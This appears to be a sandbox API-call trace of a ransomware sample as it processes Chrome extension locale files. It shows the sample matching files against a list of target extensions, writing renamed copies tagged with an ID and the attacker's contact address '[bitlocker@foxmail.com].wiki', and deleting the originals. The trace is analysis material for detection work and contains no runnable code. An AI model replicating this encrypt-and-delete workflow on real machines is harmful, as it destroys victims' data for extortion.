lstrlenW (lpString=".doc") returned 4 [0177.557] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.557] lstrlenW (lpString=".docx") returned 5 [0177.557] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.557] lstrlenW (lpString=".pdf") returned 4 [0177.557] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.557] lstrlenW (lpString=".xls") returned 4 [0177.557] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.557] lstrlenW (lpString=".xlsx") returned 5 [0177.557] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.557] lstrlenW (lpString=".ppt") returned 4 [0177.557] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.557] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.557] lstrlenW (lpString=".zip") returned 4 [0177.557] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.557] lstrlenW (lpString=".rar") returned 4 [0177.557] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.557] lstrlenW (lpString=".bz2") returned 4 [0177.557] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.557] lstrlenW (lpString=".7z") returned 3 [0177.557] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.557] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.557] lstrlenW (lpString=".dbf") returned 4 [0177.557] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.557] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.557] lstrlenW (lpString=".1cd") returned 4 [0177.557] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.557] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.558] lstrlenW (lpString=".jpg") returned 4 [0177.558] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.558] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.558] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.558] lstrlenW (lpString=".doc") returned 4 [0177.558] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.558] lstrlenW (lpString=".docx") returned 5 [0177.558] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.558] lstrlenW (lpString=".pdf") returned 4 [0177.558] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.558] lstrlenW (lpString=".xls") returned 4 [0177.558] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.558] lstrlenW (lpString=".xlsx") returned 5 [0177.558] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.558] lstrlenW (lpString=".ppt") returned 4 [0177.558] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.558] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.558] lstrlenW (lpString=".zip") returned 4 [0177.558] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.558] lstrlenW (lpString=".rar") returned 4 [0177.558] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.558] lstrlenW (lpString=".bz2") returned 4 [0177.558] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.558] lstrlenW (lpString=".7z") returned 3 [0177.558] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.558] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.558] lstrlenW (lpString=".dbf") returned 4 [0177.558] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.558] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.559] lstrlenW (lpString=".1cd") returned 4 [0177.559] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.559] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.559] lstrlenW (lpString=".jpg") returned 4 [0177.559] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.559] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.559] lstrlenW (lpString="messages.json") returned 13 [0177.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.559] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=221) returned 1 [0177.560] CloseHandle (hObject=0x1ac) returned 1 [0177.560] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json")) returned 0x2020 [0177.560] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.560] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.560] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.561] GetLastError () returned 0x0 [0177.561] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xdd, lpOverlapped=0x0) returned 1 [0177.561] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0177.562] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.562] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.562] SetEndOfFile (hFile=0x1a0) returned 1 [0177.563] CloseHandle (hObject=0x1a0) returned 1 [0177.563] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.563] SetEndOfFile (hFile=0x1ac) returned 1 [0177.563] CloseHandle (hObject=0x1ac) returned 1 [0177.564] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.564] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json")) returned 1 [0177.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.564] lstrlenW (lpString=".doc") returned 4 [0177.564] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.564] lstrlenW (lpString=".docx") returned 5 [0177.564] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.564] lstrlenW (lpString=".pdf") returned 4 [0177.564] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.564] lstrlenW (lpString=".xls") returned 4 [0177.564] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.564] lstrlenW (lpString=".xlsx") returned 5 [0177.564] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.564] lstrlenW (lpString=".ppt") returned 4 [0177.564] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.564] lstrlenW (lpString=".zip") returned 4 [0177.564] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.564] lstrlenW (lpString=".rar") returned 4 [0177.564] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.564] lstrlenW (lpString=".bz2") returned 4 [0177.565] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.565] lstrlenW (lpString=".7z") returned 3 [0177.565] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.565] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.565] lstrlenW (lpString=".dbf") returned 4 [0177.565] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.565] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.565] lstrlenW (lpString=".1cd") returned 4 [0177.565] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.565] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.565] lstrlenW (lpString=".jpg") returned 4 [0177.565] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.565] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.565] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.565] lstrlenW (lpString=".doc") returned 4 [0177.565] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.565] lstrlenW (lpString=".docx") returned 5 [0177.565] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.565] lstrlenW (lpString=".pdf") returned 4 [0177.565] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.565] lstrlenW (lpString=".xls") returned 4 [0177.565] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.565] lstrlenW (lpString=".xlsx") returned 5 [0177.565] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.565] lstrlenW (lpString=".ppt") returned 4 [0177.565] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.565] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.565] lstrlenW (lpString=".zip") returned 4 [0177.565] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.566] lstrlenW (lpString=".rar") returned 4 [0177.566] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.566] lstrlenW (lpString=".bz2") returned 4 [0177.566] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.566] lstrlenW (lpString=".7z") returned 3 [0177.566] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.566] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.566] lstrlenW (lpString=".dbf") returned 4 [0177.566] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.566] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.566] lstrlenW (lpString=".1cd") returned 4 [0177.566] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.566] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 151 [0177.566] lstrlenW (lpString=".jpg") returned 4 [0177.566] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.566] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.566] lstrlenW (lpString="messages.json") returned 13 [0177.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.567] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=176) returned 1 [0177.567] CloseHandle (hObject=0x1ac) returned 1 [0177.567] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json")) returned 0x2020 [0177.567] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.567] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.567] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.568] GetLastError () returned 0x0 [0177.568] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb0, lpOverlapped=0x0) returned 1 [0177.811] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0177.812] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.812] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.812] SetEndOfFile (hFile=0x1a0) returned 1 [0177.812] CloseHandle (hObject=0x1a0) returned 1 [0177.812] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.812] SetEndOfFile (hFile=0x1ac) returned 1 [0177.813] CloseHandle (hObject=0x1ac) returned 1 [0177.813] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.813] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json")) returned 1 [0177.813] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.813] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.813] lstrlenW (lpString=".doc") returned 4 [0177.813] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.813] lstrlenW (lpString=".docx") returned 5 [0177.814] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.814] lstrlenW (lpString=".pdf") returned 4 [0177.814] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.814] lstrlenW (lpString=".xls") returned 4 [0177.814] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.814] lstrlenW (lpString=".xlsx") returned 5 [0177.814] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.814] lstrlenW (lpString=".ppt") returned 4 [0177.814] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.814] lstrlenW (lpString=".zip") returned 4 [0177.814] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.814] lstrlenW (lpString=".rar") returned 4 [0177.814] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.814] lstrlenW (lpString=".bz2") returned 4 [0177.814] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.814] lstrlenW (lpString=".7z") returned 3 [0177.814] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.814] lstrlenW (lpString=".dbf") returned 4 [0177.814] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.814] lstrlenW (lpString=".1cd") returned 4 [0177.814] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.814] lstrlenW (lpString=".jpg") returned 4 [0177.814] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.815] lstrlenW (lpString=".doc") returned 4 [0177.815] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.815] lstrlenW (lpString=".docx") returned 5 [0177.815] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.815] lstrlenW (lpString=".pdf") returned 4 [0177.815] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.815] lstrlenW (lpString=".xls") returned 4 [0177.815] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.815] lstrlenW (lpString=".xlsx") returned 5 [0177.815] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.815] lstrlenW (lpString=".ppt") returned 4 